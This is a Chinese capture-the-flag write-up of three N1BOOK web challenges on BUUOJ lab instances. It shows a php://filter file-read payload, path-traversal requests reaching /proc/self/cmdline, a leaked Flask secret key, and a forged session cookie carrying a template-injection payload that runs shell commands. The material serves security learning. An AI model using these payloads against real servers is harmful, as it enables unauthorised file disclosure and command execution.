刷书《从0到1》第一章之文件上传
FLASK_SESSION_MASTER下载链接
链接:https://pan.baidu.com/s/1d6COxfDjUp1afv-jOzDyLg
提取码:ny04
[第一章web入门] afr_1
- 源码没有提示
- Burp suite抓包没有线索
0X1观察URL
http://a414a458-b376-4ffd-8101-b8925a4fc133.node3.buuoj.cn/?p=hel
根据书上的内容,首先出现是Filter协议.这个师傅讲得好
0X2使用Filter伪协议来构造playload查看文件内容
http://a414a458-b376-4ffd-8101-b8925a4fc133.node3.buuoj.cn/?p=php://filter/read=convert.base64-encode/resource=flag

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
0X3进行base64转码

<?php die('no no no'); //n1book{afr_1_solved}
-
最近学python,尝试用python写脚本来解base64码
1 import requests 2 import time 3 import base64 4 re1=base64.b64decode('PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9'.encode('utf-8')) 5 print(str(re1,'utf-8'))

[第一章web入门] afr_2
0X1 F12观察源码

0X2 添加子目录img

0X3 根据提示进入子目录img../

0X4 记事本打开电脑下载的flag文件
n1book{afr_2_solved}
[第一章web入门] afr_3
-
直接上书的内容

- 查阅到的相关资料(northity师傅)
Proc文件系统 Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态 cmdline 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息 cwd 指向当前进程运行目录的一个符号链接 exe 指向启动当前进程的可执行文件(完整路径)的符号链接,通过/proc/N/exe可以启动当前进程的一个拷贝 fd 这是个目录,包含当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接 environ 进程环境变量列表
0X1 观察了一下URL的变化
出现了name参数,利用上面的知识获取目前的命令
?name=article
http://2ec444c2-7f11-4c70-8d8f-ec202fd3a9b3.node3.buuoj.cn/article?name=../../../../proc/self/cmdline

0X2 查看server.py源码

execfile('flag.py') execfile('key.py')
0X3 查看flag.py源码发现没有权限,改查key.py源码寻找线索

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
0X4 在server界面进行代码审计
#!/usr/bin/python import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask_session import Session app = Flask(__name__) execfile('flag.py') execfile('key.py') FLAG = flag app.secret_key = key @app.route("/n1page", methods=["GET", "POST"]) def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","") if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session['n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code'] session['n1code'] = None return render_template_string(template) @app.route("/", methods=["GET"]) def index(): return render_template("main.html") @app.route('/article', methods=['GET']) def article(): error = 0 if 'name' in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag')>=0: page = 'notallowed.txt' try: template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
代码告诉我们;有两种路径,一种是/n1page,一种是/article,而前者存在ssti漏洞,我们需要将n1code参数及其值装进session中,然后进行传参,达到ssti的目的。
使用flask_session_cookie经行session伪造(在kali上面对应的flask目录打开)
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
得到
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YGLP8w.RTl5D3R8ISXHIZpbKi40iNLKqqQ
0X5 修改包的cookie值

0X6 发包(第一界面)
得到的flag如上图
未亡人

浙公网安备 33010602011771号